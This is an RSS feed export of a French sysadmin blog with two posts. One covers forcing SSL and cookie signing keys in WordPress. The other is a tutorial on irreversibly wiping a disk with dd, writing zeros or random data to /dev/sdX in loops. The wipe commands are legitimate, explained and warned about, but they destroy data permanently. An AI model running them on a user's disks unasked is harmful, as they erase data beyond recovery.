<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/">
<channel>
<title>Debian or not to be ? 2.0 &#187; Sécurité</title>
<atom:link href="http://www.crashdump.fr/securite/feed/" rel="self" type="application/rss+xml" />
<link>http://www.crashdump.fr</link>
<description>that is the question</description>
<lastBuildDate>Mon, 23 Jan 2012 13:14:39 +0000</lastBuildDate>
<language>fr</language>
<sy:updatePeriod>hourly</sy:updatePeriod>
<sy:updateFrequency>1</sy:updateFrequency>
<generator>http://wordpress.org/?v=3.3.2</generator>
<item>
<title>Crashdump.fr passe en AES-256.</title>
<link>http://www.crashdump.fr/securite/crashdump-fr-passe-en-aes-256-703/</link>
<comments>http://www.crashdump.fr/securite/crashdump-fr-passe-en-aes-256-703/#comments</comments>
<pubDate>Mon, 15 Jun 2009 21:33:47 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[ssl]]>
</category>
<guid isPermaLink="false">http://www.crashdump.fr/?p=703</guid>
<description>
<![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/06/security-lock.jpg" class="attachment-featured-image wp-post-image" alt="security-lock" title="security-lock" /></p><br />Voilà un bout de temps que je voulais mettre en place un SSL correct pour crashdump.fr sans trouver le temps, maintenant c&#8217;est chose faite ! (J&#8217;entend par correct un certificat émanant d&#8217;une CA reconnue) Du coup, j&#8217;ai plongé le nez dans la doc de wordpress pour trouver un moyen de forcer les authentifications/cookies en SSL, [...]]]>
</description>
<content:encoded>
<![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/06/security-lock.jpg" class="attachment-featured-image wp-post-image" alt="security-lock" title="security-lock" /></p><br /><p>Voilà un bout de temps que je voulais mettre en place un SSL correct pour crashdump.fr sans trouver le temps, maintenant c&#8217;est chose faite ! (J&#8217;entend par correct un certificat émanant d&#8217;une CA reconnue)</p>
<p>Du coup, j&#8217;ai plongé le nez dans la doc de wordpress pour trouver un moyen de forcer les authentifications/cookies en SSL, voici ce que j&#8217;y ai trouvé (ces options de configuration doivent êtres ajoutés dans le ./wp-config.php):</p>
<p>Forcer tout post de cookies en SSL:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">define(’FORCE_SSL_ADMIN’, true);</div></td></tr></tbody></table></div>
<p>Forcer tout post de login en SSL:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">define(’FORCE_SSL_LOGIN’, true);</div></td></tr></tbody></table></div>
<p>De plus &#8211; depuis la version 2.6 &#8211; WordPress intègre de nouveaux cookies qui sont signé avec des clés secrètes. Il va donc falloir spécifier ces clés. Pour ça, trois variables à ajouter:</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">define(’AUTH_KEY’, ‘put your unique phrase here’);<br />
define(’SECURE_AUTH_KEY’, ‘put your unique phrase here’);<br />
define(’LOGGED_IN_KEY’, ‘put your unique phrase here’);</div></td></tr></tbody></table></div>
<p>Pour vous donner une idée de clés adaptés, une API est mise a disposition par WP:<br />
<a rel="nofollow" href="http://api.wordpress.org/secret-key/1.1/">http://api.wordpress.org/secret-key/1.1/</a><br />
(Mon côté parano vous invite a ne pas utiliser ces clés sans les modifier un peu vous même..)</p>
<p>* Ah, oui, j&#8217;oubliais.. du coup vous pouvez accéder au site sur <a rel="nofollow" href="https://www.crashdump.fr">https://www.crashdump.fr</a> *</p>
]]>
</content:encoded>
<wfw:commentRss>http://www.crashdump.fr/securite/crashdump-fr-passe-en-aes-256-703/feed/</wfw:commentRss>
<slash:comments>16</slash:comments>
</item>
<item>
<title>Effacer définitivement les données d&#8217;un disque dur sous *nux (dd, zero, random)</title>
<link>http://www.crashdump.fr/debian/effacer-definivement-toutes-les-donnees-dun-disque-dur-sous-nux-677/</link>
<comments>http://www.crashdump.fr/debian/effacer-definivement-toutes-les-donnees-dun-disque-dur-sous-nux-677/#comments</comments>
<pubDate>Tue, 05 May 2009 20:25:48 +0000</pubDate>
<dc:creator>Crashdump</dc:creator>
<category>
<![CDATA[Debian]]>
</category>
<category>
<![CDATA[Sécurité]]>
</category>
<category>
<![CDATA[bsd]]>
</category>
<category>
<![CDATA[dd]]>
</category>
<category>
<![CDATA[disque dur]]>
</category>
<category>
<![CDATA[fichier]]>
</category>
<category>
<![CDATA[format]]>
</category>
<category>
<![CDATA[formater]]>
</category>
<category>
<![CDATA[hexdump]]>
</category>
<category>
<![CDATA[kernel]]>
</category>
<category>
<![CDATA[linux]]>
</category>
<category>
<![CDATA[os x]]>
</category>
<category>
<![CDATA[partition]]>
</category>
<category>
<![CDATA[Peter Gutmann]]>
</category>
<category>
<![CDATA[secure]]>
</category>
<category>
<![CDATA[securisé]]>
</category>
<guid isPermaLink="false">http://www.crashdump.fr/?p=677</guid>
<description>
<![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/05/hard-disk-drive.png" class="attachment-featured-image wp-post-image" alt="hard-disk-drive" title="hard-disk-drive" /></p><br />Ce billet contient deux parties : la première explique succinctement les solutions et commandes pour pouvoir effacer toutes les données d&#8217;un disque (ou d&#8217;une partition). La deuxième approfondit les commandes et outils utilisés dans la première &#8212; Je me rend bien compte, après relecture du fait que j&#8217;ai pas mal dérivé dans l&#8217;écriture de cet article, [...]]]>
</description>
<content:encoded>
<![CDATA[<p><img width="240" height="150" src="http://www.crashdump.fr/wp-content/uploads/2009/05/hard-disk-drive.png" class="attachment-featured-image wp-post-image" alt="hard-disk-drive" title="hard-disk-drive" /></p><br /><p><em>Ce billet contient deux parties : <strong>la première explique succinctement les solutions et commandes</strong> pour pouvoir effacer toutes les données d&#8217;un disque (ou d&#8217;une partition). <strong>La deuxième approfondit les commandes et outils utilisés</strong> dans la première &#8212; Je me rend bien compte, après relecture du fait que j&#8217;ai pas mal dérivé dans l&#8217;écriture de cet article, il faut croire que j&#8217;avais beaucoup à dire.. donc si vous avez le temps, servez vous un café et profitez en bien.</em></p>
<p>Update le 6 Mai 2009: Correction des fautes d&#8217;orthographe&#8230;</p>
<p><strong>ATTENTION: Toutes les procédures ci-dessous sont définitives et non réversibles. Après avoir exécuté ces commandes, vous (ou un tiers) ne pourrez JAMAIS récupérer les informations qui y étaient stockées.</strong></p>
<p><em>Info: Dans ce billet j&#8217;utiliserais comme chemin pour mon disque dur a effacer : /dev/sdX, il vous faudra naturellement le remplacer par le vôtre. Vérifiez toujours d&#8217;abord vôtre table de partition avec &laquo;&nbsp;df&nbsp;&raquo; (utilitaire sans risques, il permet simplement de lister les disques montés sur vôtre système &#8211; NDLR : fstab)</em><br />
<em>Suivant la distribution *nix que vous utiliserez vous ne pourrez sûrement pas directement réinitialiser le disque système : il vous faudra utiliser un &laquo;&nbsp;live CD&nbsp;&raquo; ou booter sur un autre disque dur.</em></p>
<h2>1. L&#8217;utilitaire &laquo;&nbsp;dd&nbsp;&raquo;:</h2>
<p>L&#8217;utilitaire &laquo;&nbsp;dd&nbsp;&raquo; fourni avec tous les *nix et dérivés, permet de faire de nombreuses manipulations sur des fichiers ou des systèmes de fichiers comme (liste non exhaustive): Formatter une disquette à partir d&#8217;une image, découper un fichier en plusieurs morceaux, faire une image d&#8217;un DVD ou encore — et c&#8217;est ce qui nous intéresse ici — détruire les données d&#8217;un disque dur en le remplissant de zéros ou de données aléatoires.</p>
<p><strong>Il faut toujours faire attention lorsqu&#8217;on utilise dd. Le simple fait d&#8217;oublier une option ou d&#8217;échanger les arguments aura des conséquences désastreuses.</strong></p>
<h3>1.1 Méthode rapide et peu sûre :</h3>
<p>La première méthode consiste à écrire des 0 sur tous les secteurs du disque en une seule passe :</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">of</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sdX <span style="color: #007800;">bs</span>=<span style="color: #000000;">512</span> <span style="color: #007800;">conv</span>=notrunc</div></td></tr></tbody></table></div>
<p><em>L&#8217;argument « conv=notrunc » permet de ne pas limiter la taille du fichier de sortie.</em></p>
<h3>1.2 Méthode lente et moyennement sûre :</h3>
<p>La seconde méthode, un peu plus sûre que la précédente consiste en l&#8217;utilisation du périphérique générateur d&#8217;aléatoires du noyau. Ce qui aura pour effet d&#8217;écrire des données aléatoires sur tous les secteurs du disque :</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">dd if=/dev/urandom of=/dev/sdX bs=512 conv=notrunc</div></td></tr></tbody></table></div>
<h3>1.3 Méthode très lente et sûre:</h3>
<p>Ici nous allons utiliser la première méthode, mais avec 32 passe.. De quoi vraiment tout effacer.</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">for</span> n <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">seq</span> <span style="color: #000000;">32</span><span style="color: #000000; font-weight: bold;">`</span>; <span style="color: #000000; font-weight: bold;">do</span> <span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">of</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sdX <span style="color: #007800;">bs</span>=<span style="color: #000000;">512</span> <span style="color: #007800;">conv</span>=notrunc; <span style="color: #000000; font-weight: bold;">done</span></div></td></tr></tbody></table></div>
<p>Notez qu&#8217;ici j&#8217;ai défini le paramètre « BS » qui correspond au nombre d&#8217;octets spécifié écrit en une seule fois. Ce qui permet de raccourcir considérablement le temps de chaque passe.</p>
<h3>1.4 Méthode vraiment très lente et très sûre:</h3>
<p>Pour cette dernière solution, vous l&#8217;aurez déduit par vous même, 16 passes de random, de quoi effacer définitivement n&#8217;importe quel octet sensible ! Suivant la taille du disque/partition, cette solution peut prendre énormément de temps&#8230;</p>
<div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">for n in `seq 16`; do dd if=/dev/urandom of=/dev/sdX bs=512 conv=notrunc; done</div></td></tr></tbody></table></div>
<h2>Approfondissements :</h2>
<h3>Temps des opérations — Optimisations</h3>
<p>Voyons comment se comporte dd pour un fichier test de 100Mb avec notre solution n°1 et un Block size de 1:</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #000000; font-weight: bold;">time</span> <span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">of</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">bs</span>=<span style="color: #000000;">1</span> <span style="color: #007800;">conv</span>=notrunc <span style="color: #007800;">count</span>=<span style="color: #000000;">102400000</span><br />
<span style="color: #000000;">102400000</span>+<span style="color: #000000;">0</span> records <span style="color: #000000; font-weight: bold;">in</span><br />
<span style="color: #000000;">102400000</span>+<span style="color: #000000;">0</span> records out<br />
<span style="color: #000000;">102400000</span> bytes transferred <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000;">458.989378</span> secs <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">223099</span> bytes<span style="color: #000000; font-weight: bold;">/</span>sec<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
real 7m38.997s<br />
user 1m52.333s<br />
sys 5m30.299s</div></td></tr></tbody></table></div>
<p>1 * 102400000 = 100Mb, dd a mis environ 7 minutes 38 secondes, pitoyable, pourquoi ?!</p>
<p><strong>Petites précisions indispensables au sujet des secteurs (ou blocs)</strong>:<br />
Un secteur (ou bloc) est une subdivision d&#8217;une piste de votre disque dur. Chaque secteur peut stocker un nombre bien défini de données — les disques magnétiques fournissent généralement un espace de 512 octets (ce n&#8217;est pas le cas des SSD). La notion de bloc a été utilisée au début de l&#8217;informatique pour ce petit morceau de données, mais le terme secteur est devenu beaucoup plus courant. Puis peu à peu, « bloc » est devenu plus employé pour définir un certain nombre de données (variable) utilisé par un processus. Par exemple, le programme dd qui permet de définir la taille de bloc à utiliser lors de l&#8217;exécution avec le paramètre BS (= octets). En réalité, ça ne change pas la taille du secteur d&#8217;un support, seule la taille des données qui seront manipulées.</p>
<p><em>Notez que pour un CD, la taille d’un secteur est de 2.048 bytes (par exemple, si vous avez besoin de créer une image iso, tapez : dd if=/dev/hdc of=/tmp/mycd.iso bs=2048 conv=notrunc).</em></p>
<p>Reprenons — comment puis-je vérifier la taille des blocs sur un BSD ?</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ pdisk <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>rdisk1 <span style="color: #660033;">-blockSize</span><br />
<span style="color: #000000;">512</span></div></td></tr></tbody></table></div>
<p>Et sur un GNU/Linux ?</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">tune2fs <span style="color: #660033;">-l</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>md1 <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> Block<br />
Block count: <span style="color: #000000;">5118688</span><br />
Block size: <span style="color: #000000;">4096</span><br />
Blocks per group: <span style="color: #000000;">32768</span></div></td></tr></tbody></table></div>
<p>Notez que sur le deuxième exemple, le système de fichier est en fait monté sur un RAID, d&#8217;où la réponse de BS de 4k.</p>
<p>Bien, maintenant que nous savons, essayons en spécifiant un BS de 512:</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #000000; font-weight: bold;">time</span> <span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">of</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">bs</span>=<span style="color: #000000;">512</span> <span style="color: #007800;">conv</span>=notrunc <span style="color: #007800;">count</span>=<span style="color: #000000;">200000</span><br />
<span style="color: #000000;">200000</span>+<span style="color: #000000;">0</span> records <span style="color: #000000; font-weight: bold;">in</span><br />
<span style="color: #000000;">200000</span>+<span style="color: #000000;">0</span> records out<br />
<span style="color: #000000;">102400000</span> bytes transferred <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000;">1.615840</span> secs <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">63372613</span> bytes<span style="color: #000000; font-weight: bold;">/</span>sec<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
real 0m1.618s<br />
user 0m0.240s<br />
sys 0m1.015s</div></td></tr></tbody></table></div>
<p>512 * 200000 = 100Mb, dd a mis à peine plus d&#8217;une 2,4s (contre 7m38) — la différence est énorme, pourquoi ?</p>
<p>En fait, l&#8217;explication est simple, c&#8217;est la synchronisation entre les données envoyées et les données écrites. Des blocs de 512 octets sont envoyés au disque et sont directement écrits sur les secteurs correspondants ; inutile de mettre en cache 512 fois 1 octet pour pouvoir écrire notre bloc. Et si on spécifie un BS supérieur, me direz-vous ? Essayons.</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">time</span> <span style="color: #c20cb9; font-weight: bold;">dd</span> <span style="color: #007800;">if</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">of</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>zero <span style="color: #007800;">bs</span>=<span style="color: #000000;">1024</span> <span style="color: #007800;">conv</span>=notrunc <span style="color: #007800;">count</span>=<span style="color: #000000;">100000</span><br />
<span style="color: #000000;">100000</span>+<span style="color: #000000;">0</span> records <span style="color: #000000; font-weight: bold;">in</span><br />
<span style="color: #000000;">100000</span>+<span style="color: #000000;">0</span> records out<br />
<span style="color: #000000;">102400000</span> bytes transferred <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000;">3.185333</span> secs <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">32147345</span> bytes<span style="color: #000000; font-weight: bold;">/</span>sec<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
real 0m3.188s<br />
user 0m0.131s<br />
sys 0m0.693s</div></td></tr></tbody></table></div>
<p>En effet, cela ne nous apporte rien ! <strong>notez que j&#8217;ai spécifié bs=512, mais en fait dd utilise par défaut le block size de 512.</strong></p>
<h3>/dev/zero, /dev/random ou /dev/urandom ?</h3>
<p><em>Pour cette partie, je me suis largement inspiré des manpages de random que j&#8217;ai agrémentée d&#8217;exemples et quelques précisions</em>.</p>
<p>Les fichiers spéciaux /dev/random et /dev/urandom existents depuis Linux 1.3.30 et ils fournissent une interface avec le générateur de nombres aléatoires du noyau. Il faut savoir que le noyau identifie chaque périphérique au moyen de deux numéros, le majeur (à gauche) et le mineur (à droite), ex:</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-l</span> <span style="color: #000000; font-weight: bold;">/</span>dev<br />
crw-rw-rw- <span style="color: #000000;">1</span> root root <span style="color: #000000;">1</span>, <span style="color: #000000;">5</span> avr <span style="color: #000000;">29</span> <span style="color: #000000;">14</span>:07 zero<br />
crw-rw-rw- <span style="color: #000000;">1</span> root root <span style="color: #000000;">1</span>, <span style="color: #000000;">8</span> avr <span style="color: #000000;">29</span> <span style="color: #000000;">14</span>:07 random<br />
crw-rw-rw- <span style="color: #000000;">1</span> root root <span style="color: #000000;">1</span>, <span style="color: #000000;">9</span> avr <span style="color: #000000;">29</span> <span style="color: #000000;">14</span>:07 urandom</div></td></tr></tbody></table></div>
<p>Le fichier /dev/random a un numéro de périphérique majeur égal à 1, et un numéro mineur égal à 8. Les numéros du périphérique /dev/urandom sont 1 pour le majeur, et 9 pour le mineur et pour zero ils sont respectivement de 1 et 5. Ils sont de type c (Character), ils communiquent octet par octet (comme un port série) à l&#8217;inverse des disques durs qui sont de type b (Blocks) et qui &#8211; donc &#8211; communiquent par blocs de données.</p>
<p>Ce que l&#8217;on peut lire dans la documentation de noyau Linux a leurs propos :</p>
<pre>1 char Memory device
    ...
    5 = /dev/zero        Null byte source
    ...
    8 = /dev/random   Nondeterministic random number gen.
    9 = /dev/urandom Faster, less secure random number gen.
    ...</pre>
<p>En réalité, le générateur de nombres aléatoires récupère les séquences aléatoires en fonction du « bruit » généré par l&#8217;environnement : mouvement de la souris, frappe au clavier, etc.. Le générateur mémorise également une estimation du nombre de bits de bruit dans son réservoir d&#8217;entropie, et utilise son contenu pour créer des nombres aléatoires.<br />
<strong>En effet, lors d&#8217;une lecture, le périphérique /dev/random sera limité au nombre de bits de bruit qu&#8217;il contient</strong>.<br />
/dev/random est particulièrement adapté pour des cas où l&#8217;on a ponctuellement besoin de nombres hautement aléatoires (création de clés par exemple). Lorsque le réservoir d&#8217;entropie est vide, les lectures du périphérique /dev/random seront bloquantes jusqu&#8217;à l&#8217;obtention de suffisamment de bruits en provenance de l&#8217;environnement. Dans notre cas &#8211; ou l&#8217;on a besoin d&#8217;une très grande quantité de données —, nous risquons d&#8217;être très rapidement limité ! Heureusement, /dev/urandom renverra autant d&#8217;octets qu&#8217;on en demande. Toutefois, s&#8217;il n&#8217;y a plus assez de bits disponibles dans le réservoir d&#8217;entropie, les valeurs renvoyées pourraient être théoriquement vulnérables à une cryptanalyse basée sur l&#8217;algorithme employé par le pilote. Il n&#8217;existe pas de documentation sur ce type d&#8217;attaque dans la littérature publique actuelle, mais cela n&#8217;élimine pas le risque théorique.</p>
<p>Le fichier de périphérique /dev/zero quand a lui, se comporte comme s’il contenait une infinité d’octets à ~0. Quelle que soit la quantité de données que vous essayez de lire à partir de /dev/zero, il générera suffisamment d’octets nuls.</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #c20cb9; font-weight: bold;">hexdump</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>zero<br />
0000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br />
<span style="color: #000000; font-weight: bold;">*</span></div></td></tr></tbody></table></div>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #c20cb9; font-weight: bold;">hexdump</span> <span style="color: #660033;">-C</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>random<br />
00000000 c8 6a <span style="color: #000000;">22</span> ab 8a cb a2 <span style="color: #000000;">66</span> <span style="color: #000000;">17</span> 7a ce 8d d6 e8 e1 fa <span style="color: #000000; font-weight: bold;">|</span>?j<span style="color: #ff0000;">&quot;?.ˢf.z?.????|<br />
00000010 c1 69 7c d1 64 39 44 cc be 8f 06 db 88 1e 5c ba |?i|?d9D̾..?..\?|<br />
00000020 99 9d a3 f7 cb ff a4 ea 43 c1 b4 ea b8 ba f9 71 |..??????C??긺?q|<br />
...</span></div></td></tr></tbody></table></div>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ <span style="color: #c20cb9; font-weight: bold;">hexdump</span> <span style="color: #660033;">-C</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>urandom<br />
00000000 <span style="color: #000000;">49</span> db 3d 9e <span style="color: #000000;">25</span> bf <span style="color: #000000;">14</span> b9 b8 a6 <span style="color: #000000;">58</span> <span style="color: #000000;">22</span> b1 <span style="color: #000000;">13</span> 7b <span style="color: #000000;">29</span> <span style="color: #000000; font-weight: bold;">|</span>I?=.<span style="color: #000000; font-weight: bold;">%</span>?.???X<span style="color: #ff0000;">&quot;?.{)|<br />
00000010 33 40 bf 14 e5 aa 99 c9 a0 ee fb 5c 74 5a 01 d6 |3@?.?.ɠ??<span style="color: #000099; font-weight: bold;">\t</span>Z.?|<br />
00000020 6b 45 33 6c a4 d6 69 54 53 d8 17 55 ba dc 8c 76 |kE3l??iTS?.U??.v|<br />
...</span></div></td></tr></tbody></table></div>
<p>En résumé, nous allons plutôt utiliser /dev/urandom ou /dev/zero, sinon ça va prendre un temps fou. /dev/random donne de l&#8217;entropie &laquo;&nbsp;forte&nbsp;&raquo; (liée au matériel) et ne donne donc que quelques octets par seconde. /dev/urandom complète cette entropie forte avec du PRNG et génère donc les données aussi vite que nécessaire, ou presque..</p>
